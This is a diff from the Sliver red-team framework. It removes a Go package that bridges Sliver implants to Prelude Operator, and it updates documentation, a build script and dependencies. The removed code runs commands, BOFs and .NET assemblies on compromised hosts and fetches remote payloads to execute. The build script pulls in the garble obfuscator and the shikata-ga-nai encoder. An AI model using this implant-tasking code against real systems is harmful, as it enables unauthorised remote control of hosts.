ConnectStr = "connect"
ShikataGaNai = "shikata-ga-nai"
-4
View File
@@ -1,4 +0,0 @@
Prelude
=======
The `prelude` package handles the connection with [Prelude's Operator platform](https://www.prelude.org/).
-175
View File
@@ -1,175 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"os"
"path"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
coffLoaderName = "coff-loader"
loaderEntryPoint = "LoadAndRun"
bofEntryPoint = "go"
)
type bofArgs struct {
ArgType string `json:"type"`
Value interface{} `json:"value"`
}
func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
if !isLoaderLoaded(implant, rpc) {
err = registerLoader(implant, rpc)
if err != nil {
return
}
}
bofArgs := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
for _, a := range args {
switch a.ArgType {
case "integer":
fallthrough
case "int":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddInt(uint32(v))
}
case "string":
if v, ok := a.Value.(string); ok {
err = bofArgs.AddString(v)
}
case "wstring":
if v, ok := a.Value.(string); ok {
err = bofArgs.AddWString(v)
}
case "short":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddShort(uint16(v))
}
}
if err != nil {
return
}
}
extArgs := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
parsedArgs, err := bofArgs.GetBuffer()
if err != nil {
return
}
err = extArgs.AddString(bofEntryPoint)
if err != nil {
return
}
err = extArgs.AddData(bof)
if err != nil {
return
}
err = extArgs.AddData(parsedArgs)
if err != nil {
return
}
extArgsBuffer, err := extArgs.GetBuffer()
if err != nil {
return
}
extResp, err := rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: coffLoaderName,
ServerStore: false,
Args: extArgsBuffer,
Export: loaderEntryPoint,
Request: MakeRequest(implant),
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
output = string(extResp.Output)
return
}
func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
var coffLoaderPath string
switch implant.GetArch() {
case "amd64":
coffLoaderPath = "COFFLoader.x64.dll"
case "386":
coffLoaderPath = "COFFLoader.x86.dll"
}
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
loaderData, err := os.ReadFile(loaderPath)
if err != nil {
return err
}
resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: coffLoaderName,
Data: loaderData,
OS: implant.GetOS(),
Init: "",
Request: MakeRequest(implant),
})
if err != nil {
return err
}
if resp.Response != nil && resp.Response.Err != "" {
return errors.New(resp.Response.Err)
}
return nil
}
func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: MakeRequest(implant),
})
if err != nil {
return false
}
for _, ext := range extList.Names {
if ext == coffLoaderName {
return true
}
}
return false
}
-206
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@@ -1,206 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"context"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
// to a Prelude Operator implant with a TCP transport.
type OperatorImplantBridge struct {
Conn *net.Conn
Implant ActiveImplant
RPC rpcpb.SliverRPCClient
PBeacon OperatorBeacon
BeaconCallback func(string, func(*clientpb.BeaconTask))
Config AgentConfig
recv chan []byte
send chan []byte
}
func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
return &OperatorImplantBridge{
Conn: c,
Implant: a,
RPC: rpc,
Config: conf,
BeaconCallback: callback,
PBeacon: pbeacon,
recv: make(chan []byte),
send: make(chan []byte),
}
}
func (a *OperatorImplantBridge) register() {
data, err := json.Marshal(a.PBeacon)
if err != nil {
return
}
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
}
func (a *OperatorImplantBridge) ReceiveLoop() {
a.register()
go func() {
for {
data := <-a.send
encrypted := util.PreludeEncrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
time.Sleep(time.Duration(a.PBeacon.Sleep))
}
}()
for {
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
msg := strings.TrimSpace(scanner.Text())
a.handleMessage(msg)
}
}
}
func (a *OperatorImplantBridge) handleMessage(message string) {
var tempBeacon OperatorBeacon
decoded, err := hex.DecodeString(message)
if err != nil {
return
}
if err := json.Unmarshal(util.PreludeDecrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
a.PBeacon.Links = a.PBeacon.Links[:0]
a.runLinks(&tempBeacon)
}
}
func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
var payload []byte
if link.Payload != "" {
payload, _ = requestPayload(link.Payload)
}
// If we're running on a Beacon
if implantBridge.BeaconCallback != nil {
RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
link.Response = response
link.Status = status
link.Pid = pid
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
implantBridge.Config.EndInstruction(link)
implantBridge.refreshBeacon()
data, err := json.Marshal(implantBridge.PBeacon)
if err != nil {
return
}
implantBridge.send <- data
})
return
}
// Running on a Session
response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
link.Response = response
link.Status = status
link.Pid = pid
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
implantBridge.Config.EndInstruction(link)
implantBridge.refreshBeacon()
data, err := json.Marshal(implantBridge.PBeacon)
if err != nil {
return
}
implantBridge.send <- data
}
}
func requestPayload(target string) ([]byte, error) {
resp, err := http.Get(target)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return io.ReadAll(resp.Body)
}
func (a *OperatorImplantBridge) refreshBeacon() {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Implant),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.PBeacon.Sleep = a.Config.Sleep
a.PBeacon.Range = a.Config.Range
a.PBeacon.Pwd = pwd
a.PBeacon.Target = a.Config.Address
a.PBeacon.Executing = a.Config.BuildExecutingHash()
}
func MakeRequest(a ActiveImplant) *commonpb.Request {
timeout := int64(defaultTimeout)
req := &commonpb.Request{
Timeout: timeout,
}
if a == nil {
return nil
}
beacon, ok := a.(*clientpb.Beacon)
if ok {
req.BeaconID = beacon.ID
req.Async = true
return req
}
session, ok := a.(*clientpb.Session)
if ok {
req.SessionID = session.ID
req.Async = false
return req
}
return nil
}
-161
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@@ -1,161 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"strings"
"google.golang.org/protobuf/proto"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
//RunCommand executes a given command
func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
switch executor {
case "keyword":
task := splitMessage(message, '.')
switch task[0] {
case "bof":
if len(task) != 2 {
break
}
var bargs []bofArgs
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
err := json.Unmarshal([]byte(argStr), &bargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if payload == nil {
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
}
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
case "execute-assembly":
if len(task) < 2 {
break
}
var eaargs execasmArgs
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
err := json.Unmarshal([]byte(argStr), &eaargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if payload == nil {
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
}
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
case "exit":
return shutdown(agentSession)
default:
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
}
default:
bites, status, pid := execute(message, executor, agentSession, onFinish)
return string(bites), status, pid
}
return "", ErrorExitStatus, ErrorExitStatus
}
func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
args := append(getCmdArg(executor), cmd)
if executor == "psh" {
executor = "powershell.exe"
} else if executor == "exec" {
commandSections := strings.Fields(cmd)
executor = commandSections[0]
args = commandSections[1:]
}
execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
Path: executor,
Args: args,
Output: true,
Request: MakeRequest(implantBridge.Implant),
})
if err != nil {
return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
}
// Beacon
if execResp.Response != nil && execResp.Response.Async {
implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execResp)
if err != nil {
return
}
onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
})
return "", 0, 0
}
// Session
if execResp.Response != nil && execResp.Response.Err != "" {
return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
}
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
}
func getCmdArg(executor string) []string {
var args []string
switch executor {
case "cmd":
args = []string{"/S", "/C"}
case "powershell", "psh":
args = []string{"-execu", "-C"}
case "exec":
args = []string{}
case "sh", "bash", "zsh":
args = []string{"-c"}
}
return args
}
func splitMessage(message string, splitRune rune) []string {
quoted := false
values := strings.FieldsFunc(message, func(r rune) bool {
if r == '"' {
quoted = !quoted
}
return !quoted && r == splitRune
})
return values
}
func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
Force: false,
Request: MakeRequest(agentSession.Implant),
})
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
}
-114
View File
@@ -1,114 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/md5"
"encoding/hex"
"io"
"sort"
)
const (
ErrorExitStatus = -1
SuccessExitStatus = 0
)
type Configuration interface {
ApplyConfig(ac map[string]interface{})
BuildBeacon() OperatorBeacon
}
type AgentConfig struct {
Name string
AESKey string
Range string
Contact string
Address string
Useragent string
Sleep int
KillSleep int
CommandJitter int
CommandTimeout int
Pid int
Proxy string
Debug bool
Executing map[string]Instruction
}
type OperatorBeacon struct {
Name string
Target string
Hostname string
Location string
Platform string
Executors []string
Range string
Sleep int
Pwd string
Executing string
Links []Instruction
}
type Instruction struct {
ID string `json:"ID"`
Executor string `json:"Executor"`
Payload string `json:"Payload"`
Request string `json:"Request"`
Response string
Status int
Pid int
}
func (c *AgentConfig) BuildExecutingHash() string {
if count := len(c.Executing); count > 0 {
ids := make([]string, count)
for id := range c.Executing {
ids = append(ids, id)
}
sort.Strings(ids)
h := md5.New()
for _, s := range ids {
io.WriteString(h, s)
}
return hex.EncodeToString(h.Sum(nil))
}
return ""
}
func (c *AgentConfig) StartInstruction(instruction Instruction) bool {
if _, ex := c.Executing[instruction.ID]; ex {
return false
}
c.Executing[instruction.ID] = instruction
return true
}
func (c *AgentConfig) StartInstructions(instructions []Instruction) (ret []Instruction) {
for _, i := range instructions {
if c.StartInstruction(i) {
ret = append(ret, i)
}
}
return
}
func (c *AgentConfig) EndInstruction(instruction Instruction) {
delete(c.Executing, instruction.ID)
}
-68
View File
@@ -1,68 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
type execasmArgs struct {
IsDLL bool `json:"isDLL"`
Process string `json:"process"`
Arguments string `json:"arguments"`
Architecture string `json:"architecture"`
Method string `json:"method"`
Class string `json:"class"`
AppDomain string `json:"appDomain"`
}
func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: MakeRequest(implant),
IsDLL: args.IsDLL,
Process: args.Process,
Arguments: args.Arguments,
Assembly: asm,
Arch: args.Architecture,
Method: args.Method,
ClassName: args.Class,
AppDomain: args.AppDomain,
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
output = string(extResp.Output)
return
}
-152
View File
@@ -1,152 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"net"
"sync"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var ImplantMapper *OperatorImplantMapper
const defaultImplantSleep = 5
type OperatorConfig struct {
Range string
OperatorURL string
RPC rpcpb.SliverRPCClient
AESKey string
}
// OperatorImplantMapper maps an OperatorConfig with
// active Sliver implant sessions/beacons
type OperatorImplantMapper struct {
implantBridges []*OperatorImplantBridge
conf *OperatorConfig
sync.Mutex
}
// ActiveImplant exposes common methods between
// Sliver clientpb.Session and clientpb.Beacon
// that are required by Operator implants
type ActiveImplant interface {
GetID() string
GetHostname() string
GetPID() int32
GetOS() string
GetArch() string
GetFilename() string
GetReconnectInterval() int64
}
func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
if ImplantMapper == nil {
ImplantMapper = &OperatorImplantMapper{
implantBridges: make([]*OperatorImplantBridge, 0),
conf: conf,
}
}
return ImplantMapper
}
func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
var pwd string
conn, err := net.Dial("tcp", p.conf.OperatorURL)
if err != nil {
return err
}
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a),
})
if err != nil {
return err
}
if pwdResp != nil {
pwd = pwdResp.Path
}
// Use a default sleep time for sessions,
// but respect the one we have for beacons
sleepTime := defaultImplantSleep
if b, ok := a.(*clientpb.Beacon); ok {
sleepTime = int(b.ReconnectInterval)
}
beacon := OperatorBeacon{
Name: a.GetID(),
Target: p.conf.OperatorURL,
Hostname: a.GetHostname(),
Location: a.GetFilename(),
Platform: a.GetOS(),
Range: p.conf.Range,
Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
Links: make([]Instruction, 0),
Executing: "",
Pwd: pwd,
Sleep: int(sleepTime),
}
if p.conf.AESKey == "" {
return errors.New("missing AES key")
}
a.GetID()
encryptionKey := p.conf.AESKey
agentConfig := AgentConfig{
Name: a.GetID(),
AESKey: encryptionKey,
Range: p.conf.Range,
Contact: "tcp",
Address: p.conf.OperatorURL,
Pid: int(a.GetPID()),
Executing: make(map[string]Instruction),
Sleep: int(sleepTime),
}
bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
p.Lock()
p.implantBridges = append(p.implantBridges, bridge)
p.Unlock()
go bridge.ReceiveLoop()
return nil
}
func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
p.Lock()
for _, bridge := range p.implantBridges {
if bridge.Implant.GetID() == imp.GetID() {
if bridge.Conn != nil {
err = (*bridge.Conn).Close()
} else {
err = errors.New("connection is nil")
}
}
}
p.Unlock()
return err
}
func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
return p.conf
}
-46
View File
@@ -1,46 +0,0 @@
package util
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
func DetermineExecutors(platform string, arch string) []string {
platformExecutors := map[string]map[string][]string{
"windows": {
"file": {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
},
"linux": {
"file": {"python3", "sh", "bash"},
"executor": {"python", "sh", "bash"},
},
"darwin": {
"file": {"python3", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "zsh", "sh", "osa", "bash"},
},
}
var executors []string
for platformKey, platformValue := range platformExecutors {
if platform == platformKey {
for i := range platformValue["file"] {
executors = append(executors, platformExecutors[platformKey]["executor"][i])
}
}
}
executors = append([]string{"keyword"}, executors...)
return executors
}
+1 -1
View File
@@ -1,6 +1,6 @@
Sliver keeps an audit log of every command and its arguments executed by the server (including commands executed by operators in multiplayer mode), as well as most events (such as a new session or beacon connecting to the server). The audit log's intended use is for after-action analysis; providing a detailed history of the entire engagement, including which commands were executed on which hosts when. This will include any commands executed by any operator on any session. Note some console commands only perform actions on the "client-side" and may not appear in the audit log, but will still appear in the client's command history. Additionally, interactive commands (e.g., `shell`) may not appear in the logs aside from the initial usage of the `shell` command.
By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](/docs?name=Environment-Variables#assets) environment variable.
By default the audit log is located on the server at: `~/.sliver/logs/audit.json`. However, this can be changed by modifying the [`SLIVER_ROOT_DIR`](/docs?name=Environment+Variables) environment variable.
#### Parsing Audit Logs
@@ -4,7 +4,7 @@ You'll want to compile from a MacOS or Linux machine, compiling from native Wind
From scratch without Docker, requirements for compiling:
- Go v1.20 or later, though we recommend Go v1.21
- Go v1.21 or later, though we recommend Go v1.22. When compiling v1.5.x use Go v1.20.7
- `make`, `sed`, `tar`, `curl`, `zip`, `cut` commands; most of these are installed by default but you may need to install `make`, `curl`, and `zip` depending on your distribution. On MacOS you may need to install XCode and accompanying cli tools.
**IMPORTANT:** The Sliver Makefile requires version information from the git repository, so you must `git clone` the repository. Using GitHub's "download zip" feature may omit the `.git` directory and result in broken builds.
+1 -1
View File
@@ -67,7 +67,7 @@ The priority of retrieval is the following:
#### NTLM/Kerberos Proxy Authentication
You can use [advanced options](/docs?name=C2-Advanced-Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
You can use [advanced options](/docs?name=C2+Advanced+Options) to enable the use of the `wininet` HTTP library, which supports NTLM/Kerberos authentication (Windows only). Using this library tends to be a little less stable (we have to covert Go calls to native DLL calls) and is generally more susceptible to introspection by security products as these functions are well-known and easy to hook. However, if you need NTLM/Kerberos authentication you don't have much of a choice.
## Start the Listener
+20 -9
View File
@@ -20,8 +20,9 @@ set -e
# Creates the static go asset archives
GO_VER="1.21.4"
GARBLE_VER="1.21.4b"
GO_VER="1.22.2"
GARBLE_VER="1.22.2"
ZIG_VER="0.12.0"
SGN_VER="0.0.3"
BLOAT_FILES="AUTHORS CONTRIBUTORS PATENTS VERSION favicon.ico robots.txt SECURITY.md CONTRIBUTING.md LICENSE README.md ./doc ./test ./api ./misc"
@@ -148,10 +149,25 @@ cp -vv windows-go.zip $OUTPUT_DIR/windows/amd64/go.zip
rm -rf ./go
rm -f windows-go.zip go$GO_VER.windows-amd64.zip
echo "-----------------------------------------------------------------"
echo " Zig"
echo "-----------------------------------------------------------------"
echo "curl -L --fail --output $OUTPUT_DIR/darwin/amd64/zig https://ziglang.org/download/$ZIG_VER/zig-macos-x86_64-$ZIG_VER.tar.xz"
curl -L --fail --output $OUTPUT_DIR/darwin/amd64/zig.tar.xz https://ziglang.org/download/$ZIG_VER/zig-macos-x86_64-$ZIG_VER.tar.xz
echo "curl -L --fail --output $OUTPUT_DIR/darwin/arm64/zig https://ziglang.org/download/$ZIG_VER/zig-macos-aarch64-$ZIG_VER.tar.xz"
curl -L --fail --output $OUTPUT_DIR/darwin/arm64/zig.tar.xz https://ziglang.org/download/$ZIG_VER/zig-macos-aarch64-$ZIG_VER.tar.xz
echo "curl -L --fail --output $OUTPUT_DIR/linux/amd64/zig https://ziglang.org/download/$ZIG_VER/zig-linux-x86_64-$ZIG_VER.tar.xz"
curl -L --fail --output $OUTPUT_DIR/linux/amd64/zig.tar.xz https://ziglang.org/download/$ZIG_VER/zig-linux-x86_64-$ZIG_VER.tar.xz
echo "curl -L --fail --output $OUTPUT_DIR/linux/arm64/zig https://ziglang.org/download/$ZIG_VER/zig-linux-aarch64-$ZIG_VER.tar.xz"
curl -L --fail --output $OUTPUT_DIR/linux/arm64/zig.tar.xz https://ziglang.org/download/$ZIG_VER/zig-linux-aarch64-$ZIG_VER.tar.xz
# Of course Windows has to be different, because it's awful (zip file instead of a tarball)
echo "curl -L --fail --output $OUTPUT_DIR/windows/amd64/zig.zip https://ziglang.org/download/$ZIG_VER/zig-windows-x86_64-$ZIG_VER.zip"
curl -L --fail --output $OUTPUT_DIR/windows/amd64/zig.zip https://ziglang.org/download/$ZIG_VER/zig-windows-x86_64-$ZIG_VER.zip
echo "-----------------------------------------------------------------"
echo " Garble"
echo "-----------------------------------------------------------------"
echo "curl -L --fail --output $OUTPUT_DIR/linux/amd64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
curl -L --fail --output $OUTPUT_DIR/linux/amd64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
echo "curl -L --fail --output $OUTPUT_DIR/linux/arm64/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux-arm64"
@@ -167,28 +183,23 @@ curl -L --fail --output $OUTPUT_DIR/darwin/arm64/garble https://github.com/moloc
echo "-----------------------------------------------------------------"
echo " Shikata ga nai (ノ ゜Д゜)ノ ︵ 仕方がない"
echo "-----------------------------------------------------------------"
# Linux (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/linux/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-amd64.zip"
curl -L --fail --output $OUTPUT_DIR/linux/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-amd64.zip
# Linux (arm64)
echo "curl -L --fail --output $OUTPUT_DIR/linux/arm64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-arm64.zip"
curl -L --fail --output $OUTPUT_DIR/linux/arm64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_linux-arm64.zip
# Windows (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/windows/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-amd64.zip"
curl -L --fail --output $OUTPUT_DIR/windows/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_windows-amd64.zip
# MacOS (amd64)
echo "curl -L --fail --output $OUTPUT_DIR/darwin/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-amd64.zip"
curl -L --fail --output $OUTPUT_DIR/darwin/amd64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-amd64.zip
# MacOS (arm64)
echo "curl -L --fail --output $OUTPUT_DIR/darwin/arm64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-arm64.zip"
curl -L --fail --output $OUTPUT_DIR/darwin/arm64/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-arm64.zip
# end
# --- Cleanup ---
echo -e "clean up: $WORK_DIR"
rm -rf $WORK_DIR
echo -e "\n[*] All done\n"
+14 -12
View File
@@ -18,15 +18,16 @@ require (
github.com/cheggaaa/pb/v3 v3.1.2
github.com/chromedp/cdproto v0.0.0-20231011050154-1d073bb38998
github.com/chromedp/chromedp v0.9.3
github.com/fatih/color v1.15.0
github.com/fatih/color v1.16.0
github.com/glebarez/sqlite v1.10.0
github.com/gofrs/uuid v4.4.0+incompatible
github.com/golang/protobuf v1.5.3
github.com/google/uuid v1.4.0
github.com/gorilla/mux v1.8.1
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
github.com/jedib0t/go-pretty/v6 v6.4.6
github.com/jedib0t/go-pretty/v6 v6.5.8
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/klauspost/compress v1.17.0
github.com/klauspost/compress v1.17.8
github.com/lesnuages/go-winio v0.4.19
github.com/lesnuages/snitch v0.6.0
github.com/mattn/go-sqlite3 v1.14.18
@@ -43,18 +44,19 @@ require (
github.com/stretchr/testify v1.8.4
github.com/tetratelabs/wazero v1.3.1
github.com/things-go/go-socks5 v0.0.3
github.com/ulikunitz/xz v0.5.11
github.com/xlab/treeprint v1.2.0
github.com/yiya1989/sshkrb5 v0.0.1
golang.org/x/crypto v0.17.0
golang.org/x/crypto v0.22.0
golang.org/x/exp v0.0.0-20230905200255-921286631fa9
golang.org/x/net v0.17.0
golang.org/x/sys v0.15.0
golang.org/x/term v0.15.0
golang.org/x/net v0.24.0
golang.org/x/sys v0.19.0
golang.org/x/term v0.19.0
golang.org/x/text v0.14.0
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
